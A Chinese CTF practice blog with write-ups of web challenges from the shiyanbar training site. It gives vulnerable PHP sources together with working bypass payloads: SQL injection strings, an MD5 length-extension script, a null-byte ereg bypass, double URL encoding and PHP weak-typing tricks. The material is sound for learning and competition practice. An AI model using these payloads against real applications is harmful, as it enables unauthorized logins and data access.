实验吧做题笔记

实验吧做题笔记

web部分

为国赛做准备,多做一些题目,开工开工.

因缺思汀的绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrVealue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

首先审计一下代码:

  • 首先最大的关键点就是输入的pwd,要与数据库中返回的pwd要是一样的.需要用到with rollup

    这样就会使得最后一项的password是NULL,所以我们只需传一个空的pwd上去就可以了
  • 其中mysql_num_rows($query) == 1,SQL语句返回来查询结果的条数是1,所以用limit.并且需要最后的一项数据所以需要用的offset

    所以最后我们构造出来的payload为:

uname=’ or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
得到flag

天下武功唯快不破

开始写脚本,在写脚本的时候碰到一个问题,这里记录一下。
在获得到响应头中的FLAG时,利用python的base64这个库来将FLAG给解码。但是解码出来的却是字节串
b’xxxxxxxx’,而我们需要的是一个字符串。这里就涉及到一个小的知识。直接看代码。

1
2
3
4
5
6
7
8
9
10
import requests
import base64

url="http://ctf5.shiyanbar.com/web/10/10.php"

s=requests.Session()
r=s.get(url)
text=(r.headers['FLAG'])
s=str(base64.b64decode(text)[25:],encoding="utf-8")
print(s)

利用str(,encoding=utf-8)可以转换,但是单纯地用str这个函数是不行的。
绕过这个小坑之后门这个脚本基本上就出来了。上最终的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import base64

url="http://ctf5.shiyanbar.com/web/10/10.php"

s=requests.Session()
r=s.post(url)
text1=(r.headers['FLAG'])
s1=str(base64.b64decode(text1)[25:],encoding="utf-8")
data={
"key":s1
}
n=s.post(url,data=data)
print(n.text)

直接得到flag:CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}

让我进去

首先上来就是一个脑洞,将cookie中的source改为1就会出现源码。 做这道题需要先去区分一下什么叫做字/字节/位等知识。

数据存储是以“字节”(Byte)为单位,数据传输大多是以“位”(bit,又名“比特”)为单位,一个位就代表一个0或1(即二进制),每8个位(bit,简写为b)组成一个字节(Byte,简写为B),是最小一级的信息单位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die("The flag is " . $flag);
} else {
die("Your cookies don't match up! STOP HACKING THIS SITE.");
}
} else {
die("You are not an admin! LEAVE.");
}
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
} else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
?>

看到关键的几个点:

  • 首先在cookie中应该有getmein
  • name要是admin,但是passwd不能是admin。
  • 然后就是要使getmein的值等于md5($secret . urldecode($username . $password))的值。

这里用到是哈希扩展攻击。 哈希扩展攻击的标志就是

  1. 在 $hash = md5($secret.$key) 中已知 $hash 和 $key 以及 $secret 的长度时
  2. 可以找到另一个$_hash$_key使得 $_hash = md5($secrect.$_key) 成立

拿这道例题来说,头文件里面有一个 sample-hash:571580b26c65f306376d4f64e53cb5c7这个就是md5($secret . urldecode("admin" . "admin")之后的值,所以我们就知道了$key=urldecode("admin" . "admin")并且$hash=571580b26c65f306376d4f64e53cb5c7,然后在注释里面又可以知道$secret的长度就是15。所以就可以用哈希长度扩展攻击。

接下来就记录一下我对哈希长度扩展攻击的一点浅薄的理解

步骤一 补写

放一点资料
Understanding MD5 Length Extension Attack
这里就不去啰嗦补写的过程了直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$length = 25; //这里输入secre+key的长度
$padding = "%80";
for ($i = 0; $i < 56 - $length - 1; $i++) {
$padding .= "%00";
}
$num = $length * 8;
$numhex = dechex($num);
$padding .= "%" . $numhex;
for ($i = 0; $i < 7; $i++) {
$padding .= "%00";
}
echo $padding;
?>

加可控变量算出之后的md5/hash值

这个就是整个过程的一个难点,我也没有完全理解这个生成的过程。
这里还是讲讲我的理解,首先就是对一个字符串以64个进行分组 ,拿这题举个例子。

看到后面还有那么多00就知道肯定还没有构成一组,所以进行补位

补位完成了。接下来开始就是我对原理的一点理解。

这个题目来说,补成了一组,然后这一组就会进行一次“复杂的数学运算”然后得出一个md5的值,然后当我们在一组后面再加上关键字(自由输入一些可控数据),这样子,这些可控变量又变成了新的一组,则又会在原来的基础上在进行一次“复杂的数学运算”这样又会生成一个md5值。而这个md5值我们是有办法知道的。

那么什么是叫在原来的基础上呢?拿这道题来说,在cookie中其实我们知道有一个sample-hash:571580b26c65f306376d4f64e53cb5c7这个就是第一次出来的md5值,我们可以利用这个md5值来得到secrete的4个中间值,然后利用这4个中间值加上可控数据进行第二次的“复杂数学运算”,虽说是复杂数学运算,但不是未知的。然后就可以得到新的md5,并且是可以预测出md5的值(由于太菜了,不知道具体过程,反正是可以求出来的,我是别人的脚本直接跑出来的)

这里贴一下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import math


def F(x, y, z): return ((x & y) | ((~x) & z))


def G(x, y, z): return ((x & z) | (y & (~z)))


def H(x, y, z): return (x ^ y ^ z)


def I(x, y, z): return (y ^ (x | (~z)))


def L(x, n): return (((x << n) | (x >> (32 - n))) & (0xffffffff))


shi_1 = (7, 12, 17, 22) * 4
shi_2 = (5, 9, 14, 20) * 4
shi_3 = (4, 11, 16, 23) * 4
shi_4 = (6, 10, 15, 21) * 4
m_1 = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)
m_2 = (1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12)
m_3 = (5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2)
m_4 = (0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9)


def T(i):
return (int(4294967296 * abs(math.sin(i)))) & 0xffffffff


def shift(shift_list):
shift_list = [shift_list[3], shift_list[0], shift_list[1], shift_list[2]]
return shift_list


def fun(fun_list, f, m, shi):
count = 0
global Ti_count
while count < 16:
xx = int(fun_list[0], 16) + f(int(fun_list[1], 16), int(fun_list[2],
16), int(fun_list[3], 16)) + int(m[count], 16) + T(Ti_count)
xx &= 0xffffffff
ll = L(xx, shi[count])
fun_list[0] = hex((int(fun_list[1], 16) + ll) & 0xffffffff)
fun_list = shift(fun_list)
count += 1
Ti_count += 1
return fun_list


def gen_m16(order, ascii_list, f_offset):
ii = 0
m16 = [0] * 16
f_offset *= 64
for i in order:
i *= 4
m16[ii] = '0x' + ''.join((ascii_list[i + f_offset] + ascii_list[i + 1 + f_offset] +
ascii_list[i + 2 + f_offset] + ascii_list[i + 3 + f_offset]).split('0x'))
ii += 1
for ind in range(len(m16)):
m16[ind] = reverse_hex(m16[ind])
return m16


def reverse_hex(hex_str):
hex_str = hex_str[2:]
if len(hex_str) < 8:
hex_str = '0' * (8 - len(hex_str)) + hex_str
hex_str_list = []
for i in range(0, len(hex_str), 2):
hex_str_list.append(hex_str[i:i + 2])
hex_str_list.reverse()
hex_str_result = '0x' + ''.join(hex_str_list)
return hex_str_result


def show_result(f_list):
result = ''
f_list1 = [0] * 4
for i in f_list:
f_list1[f_list.index(i)] = reverse_hex(i)[2:]
result += f_list1[f_list.index(i)]
return result


def padding(input_m, msg_lenth=0):
ascii_list = list(map(hex, map(ord, input_m)))
msg_lenth += len(ascii_list) * 8
ascii_list.append('0x80')
for i in range(len(ascii_list)):
if len(ascii_list[i]) < 4:
ascii_list[i] = '0x' + '0' + ascii_list[i][2:]
while (len(ascii_list) * 8 + 64) % 512 != 0:
ascii_list.append('0x00')
msg_lenth_0x = hex(msg_lenth)[2:]
msg_lenth_0x = '0x' + msg_lenth_0x.rjust(16, '0')
msg_lenth_0x_big_order = reverse_hex(msg_lenth_0x)[2:]
msg_lenth_0x_list = []
for i in range(0, len(msg_lenth_0x_big_order), 2):
msg_lenth_0x_list.append('0x' + msg_lenth_0x_big_order[i: i + 2])
ascii_list.extend(msg_lenth_0x_list)
return ascii_list


def md5(input_m):
global Ti_count
Ti_count = 1
abcd_list = ['0x67452301', '0xefcdab89', '0x98badcfe', '0x10325476']
ascii_list = padding(input_m)
for i in range(0, len(ascii_list) // 64):
aa, bb, cc, dd = abcd_list
order_1 = gen_m16(m_1, ascii_list, i)
order_2 = gen_m16(m_2, ascii_list, i)
order_3 = gen_m16(m_3, ascii_list, i)
order_4 = gen_m16(m_4, ascii_list, i)
abcd_list = fun(abcd_list, F, order_1, shi_1)
abcd_list = fun(abcd_list, G, order_2, shi_2)
abcd_list = fun(abcd_list, H, order_3, shi_3)
abcd_list = fun(abcd_list, I, order_4, shi_4)
output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
abcd_list = [output_a, output_b, output_c, output_d]
Ti_count = 1
print(ascii_list)
return show_result(abcd_list)


# md5-Length Extension Attack: — md5(message + padding + suffix), res = md5(message), len_m = len(message)
def md5_lea(suffix, res, len_m):
global Ti_count
Ti_count = 1
abcd_list = []
for i in range(0, 32, 8):
abcd_list.append(reverse_hex('0x' + res[i: i + 8]))
ascii_list = padding(suffix, (len_m + 72) // 64 * 64 *
8) # len(message + padding) * 8
for i in range(0, len(ascii_list) // 64):
aa, bb, cc, dd = abcd_list
order_1 = gen_m16(m_1, ascii_list, i)
order_2 = gen_m16(m_2, ascii_list, i)
order_3 = gen_m16(m_3, ascii_list, i)
order_4 = gen_m16(m_4, ascii_list, i)
abcd_list = fun(abcd_list, F, order_1, shi_1)
abcd_list = fun(abcd_list, G, order_2, shi_2)
abcd_list = fun(abcd_list, H, order_3, shi_3)
abcd_list = fun(abcd_list, I, order_4, shi_4)
output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
abcd_list = [output_a, output_b, output_c, output_d]
Ti_count = 1
# print(ascii_list)
return show_result(abcd_list)


if __name__ == '__main__':
print(md5_lea('mrkaixin', '571580b26c65f306376d4f64e53cb5c7', 15))

这样我们就可以直接构造payload了。

得到了flag。

once more

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

题目的提醒:ereg()函数有漏洞哩;从小老师就说要用科学的方法来算数。
这就说明题目有敏感函数ereg(),查找了一下资料发现果然有,可以用%00来截断正则表达式的匹配。注意一点细节就是需要直接在url中修改password的值,如果在dom中修改会把百分号进行urlencode。
然后就可以开始构造payload了。
首先按照提示用科学计数法绕过strlen($_GET['password']) < 8 && $_GET['password'] > 9999999如:1e10。
然后利用%00截断ereg()的匹配再在之后加上*-*这样就可以了:
完整的payload:1e9%00*-*
然后得到:Flag: CTF{Ch3ck_anD_Ch3ck}

what the fuck!!!

这道题有点脑洞,看了wp才知道这是jother编码,纯当成学习了:

这里贴一点资料:

jother是一种运用于javascript语言中利用少量字符构造精简的匿名函数方法对于字符串进行的编码方式,其中少量字符包括”[“,”]”,”{“,”}”,”(“,”)”,”!”,”+”。只用这些字符就能完成对任意字符串的编码,本质上是一种javascript的编码,优点:代码字符就那么几个,比较好记,缺点:编码极其冗长和复杂。这种编码一般现在只会出现在CTF比赛中,实际开发中用的到就很少了。

那么该怎么办呢?其实就只要把这个特别长的文字丢入f12中的控制台就可以了。
立马得到flag:
a

拐弯抹角

先上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
Flag: <?php
// code by SEC@USTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0;

//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
}

//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
}

//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
}

//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}

//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Pass
}

//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Pass
}

//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Not Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);


echo highlight_string($code, TRUE);

echo '</body></html>';

这个题目的关键点在于

1
2
3
4
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Pass
}

还有

1
2
3
4
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Pass
}

题目的意图是:让我们构造url来访问index.php。
但是又加了很多的限制,这里的解决方法是利用伪静态技术,就是要我们在payload中双写/index.php
具体payload:http://ctf5.shiyanbar.com/indirection/index.php/index.php
第二个index.php会被当做参数处理,而服务器只会解析第一个index.php
得到Flag: CTF{PSEDUO_STATIC_DO_YOU_KNOW}

这道题目的价值其实不在于解题,而是在于他的防绕过的思考角度。
由于源代码中讲的很详细到了所以不再赘述。

Forms

题目: 似乎有人觉得PIN码是不可破解的,让我们证明他是错的。
格式:ctf{}
首先f12看一下,发现在form标签中有一个叫做showsource的,把后面的hidden去掉,然后再把它的值改为1。

就会出现源码了。

1
2
3
4
5
6
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
} else {
echo "User with provided PIN not found.";
}

这时候我们只要把a的值改为那一大串数字就可以了。
得到flag ctf{forms_are_easy}

天网管理系统–反序列化+脑洞

上来先看一下源代码,发现提示

这里用到了php的特性:弱类型。
搜了一下(以0开头的md5值以0开头但是第二位数为字母的md5值
这里不再啰嗦了,直接看一下图吧

返回的结果是true。
这里有点坑,当你在url中提交参数username的时候他不会做出反应。
之后我是把输入框中的admin改为s1091221200a,才得到下一个线索。

接下来就出现了一段代码

1
2
3
4
5
6
7
8
<?php
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???'){
print_r($flag);
}
伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
?>

这里很明显就是要用到反序列化的知识了。
构造一个数组的反序列化

之后我们回到index.php将密码换成这个就行了

得到flag:ctf{dwduwkhduw5465}

忘记密码了

这题看了wp才做出来的,所以只记录知识点。
在step2.php中有下面的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="renderer" content="webkit" />
<meta name="admin" content="admin@simplexue.com" />
<meta name="editor" content="Vim" />


<form action="submit.php" method="GET">
<h1>找回密码step2</h1>
email:<input name="emailAddress" type="text" value="test@test.com" disable="true"/></br>
token:<input name="token" type="text" /></br>
<input type="submit" value="提交">
</form>
  • <meta name="editor" content="Vim" />这句话意味着源代码使用vim编写的,那么就会存在一个备份文件。
    例如我用vim编写了一个index.php在我编写的过程中则会有一个.index.php.swp的文件出现。但是当你为正常关闭或者保存这个文件的时候(突然电脑关机了/程序突然崩溃。。。。)那么这个文件就会以隐藏的形式保存在你的电脑中。可以用 ls -al看到这个隐藏文件。

打开这个.submit.php.swp:

1
2
3
4
5
6
7
8
9
10
11
12
13
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}

看到中间有sql语句,我还以为是sql注入,结果被我想复杂了,其实只要构造token的值就行。
只要token满足长度为0,并且为0就行。token=0000000000就可以了

FLASE

查看代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))//如果不是双等的话,可以用弱类型绕过
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>

利用sha1()与md5()无法处理数组构造payload:
?name[]=1&password[]=2

NSCTF web200

直接看代码 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function decode($str) {
$a = strrev($str);
$b = base64_decode($a);
$kaixin = "";
for ($i = 0; $i < strlen($b); $i++) {
$c = substr($b, $i, 1);
$num = ord($c) - 1;
$text = chr($num);
$kaixin .= $text;
}
echo strrev($kaixin);
}
$str = "n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf";
decode($str);

// 1.翻转
// 2.取第一个字母
// 3.把第一个字母的ascii+1
// 4.转换成字母
// 5.加密
// 6.再反转
// 7.对字符串执行 ROT13 转换
// a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws

//n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf"
?>

PHP大法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

这道题难在$_GET[id] = urldecode($_GET[id]);eregi("hackerDJ",$_GET[id]),其实只需要对id进行url编码就可以了,这样第二个条件就肯定满足了,但是由于浏览器会对url进行一次urlencode,所以我们需要对id进行两次url编码,由于网上的工具很少有全编码,所以我们用burpsuit的编码模块。
payload:
%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

得到flag:DUTCTF{PHP_is_the_best_program_language}

程序逻辑问题

首先打开f12发现提示:
1
把index.php改为index.txt,得到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");

}


}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

发现关键代码:

1
2
3
4
5
6
7
$sql = "select pw from php where user='$user'";
....
....
....
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}

发现对$user为进行过滤,所以可以注入,利用联合注入构造paoload:user=-1’union select md5(1)# pass=1
简单讲一下这边的user,把user的值带入原来sql语句中就变成了。

select pw from php where user='-1' union select md5(1) #'由于user=-1不存在则只会返回union select 的结果1的md5值

得到flag:

# 推荐文章

评论


:D 一言句子获取中...

加载中,最新评论有1分钟延迟...